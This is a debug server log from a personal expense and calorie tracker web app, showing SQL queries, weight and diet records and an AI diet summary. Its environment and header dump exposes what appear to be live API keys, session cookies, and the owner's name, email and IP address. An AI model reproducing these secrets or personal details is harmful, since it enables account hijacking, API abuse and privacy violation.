  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-24T03:47:09.454Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T03:47:09.455Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T03:47:09.455Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-24T03:47:09.455Z server-connect:app Executing action step identify
2025-12-24T03:47:09.455Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:09.456Z server-connect:output identity: 1
2025-12-24T03:47:09.456Z server-connect:app Executing action step restrict
2025-12-24T03:47:09.456Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:47:09.456Z server-connect:app Executing action step identify
2025-12-24T03:47:09.456Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:09.457Z server-connect:output identity: 1
2025-12-24T03:47:09.457Z server-connect:app Executing action step restrict
2025-12-24T03:47:09.457Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:47:09.457Z server-connect:output restrict: undefined
2025-12-24T03:47:09.457Z server-connect:app Executing action step select
2025-12-24T03:47:09.457Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T03:47:09.458Z server-connect:app Executing action step identify
2025-12-24T03:47:09.458Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:09.458Z server-connect:output identity: 1
2025-12-24T03:47:09.458Z server-connect:app Executing action step restrict
2025-12-24T03:47:09.458Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:47:09.459Z server-connect:output restrict: undefined
2025-12-24T03:47:09.459Z server-connect:app Executing action step single
2025-12-24T03:47:09.459Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T03:47:09.461Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T03:47:09.462Z server-connect:output restrict: undefined
2025-12-24T03:47:09.463Z server-connect:app Executing action step custom
2025-12-24T03:47:09.463Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-24T03:47:09.463Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T03:47:09.465Z server-connect:output list: [
  { date: 2025-12-23T18:30:00.000Z, weight: '69.70' },
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-24T03:47:38.280Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T03:47:38.280Z server-connect:app Executing action step identify
2025-12-24T03:47:38.280Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:38.280Z server-connect:output identity: 1
2025-12-24T03:47:38.280Z server-connect:app Executing action step restrict
2025-12-24T03:47:38.280Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T03:47:38.281Z server-connect:output restrict: undefined
2025-12-24T03:47:38.281Z server-connect:router Render template calorie-tracker
2025-12-24T03:47:38.281Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T03:47:38.540Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T03:47:38.541Z server-connect:app Executing action step identify
2025-12-24T03:47:38.541Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:38.541Z server-connect:output identity: 1
2025-12-24T03:47:38.541Z server-connect:app Executing action step restrict
2025-12-24T03:47:38.541Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:38.541Z server-connect:output restrict: undefined
2025-12-24T03:47:38.541Z server-connect:app Executing action step single
2025-12-24T03:47:38.541Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T03:47:38.542Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T03:47:38.542Z server-connect:app Executing action step identify
2025-12-24T03:47:38.542Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:38.542Z server-connect:output identity: 1
2025-12-24T03:47:38.542Z server-connect:app Executing action step restrict
2025-12-24T03:47:38.542Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:47:38.543Z server-connect:output restrict: undefined
2025-12-24T03:47:38.543Z server-connect:app Executing action step single
2025-12-24T03:47:38.543Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T03:47:38.543Z server-connect:output summary: {
  summary: {
    rating: 2,
    summary: "The day's nutritional intake appears quite limited, with only two items logged. While the pre-workout is standard for gym-goers, the sole food item is a fruit, which lacks the comprehensive nutrients needed for muscle development and recovery. Consistency in training is good, but the current dietary approach is unlikely to support your goals effectively.",
    bad_points: [
      'Extremely low food intake for the day.',
      'Lack of protein sources to support muscle development and repair.',
      'Absence of balanced meals with carbohydrates and healthy fats.',
      'Insufficient fiber intake.'
    ],
    good_points: [
      'Consistent gym attendance is a positive habit.',
      'Use of a pre-workout supplement is noted.'
    ],
    suggestions: [
      'Incorporate a protein-rich breakfast, lunch, and dinner.',
      'Include a variety of vegetables and whole grains in meals.',
      'Ensure adequate hydration throughout the day.',
      'Consider post-workout nutrition to aid recovery.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T03:47:38.544Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T03:47:38.544Z server-connect:app Executing action step select
2025-12-24T03:47:38.544Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T03:47:38.546Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  }
]
2025-12-24T03:47:38.546Z server-connect:app Executing action step setvalue
2025-12-24T03:47:38.546Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T03:47:38.547Z server-connect:output var_total: 40
2025-12-24T03:47:38.547Z server-connect:app Executing action step setvalue
2025-12-24T03:47:38.547Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T03:47:38.547Z server-connect:output var_consumed: 2
2025-12-24T03:47:38.547Z server-connect:app Executing action step setvalue
2025-12-24T03:47:38.547Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T03:47:38.547Z server-connect:output var_deficit: 2360
2025-12-24T03:47:38.547Z server-connect:app Executing action step custom
2025-12-24T03:47:38.547Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T03:47:38.548Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '40',
    surplus_or_deficit: '2360',
    status_flag: 2
  }
]
2025-12-24T03:47:39.105Z server-connect:app Executing action step identify
2025-12-24T03:47:39.105Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:39.105Z server-connect:output identity: 1
2025-12-24T03:47:59.094Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-24T03:47:59.094Z server-connect:app Executing action step identify
2025-12-24T03:47:59.094Z server-connect:app options: { provider: 'security' }
2025-12-24T03:47:59.095Z server-connect:output identity: 1
2025-12-24T03:47:59.095Z server-connect:app Executing action step restrict
2025-12-24T03:47:59.095Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:47:59.095Z server-connect:output restrict: undefined
2025-12-24T03:47:59.095Z server-connect:app Executing action step processWithGemini
2025-12-24T03:47:59.095Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
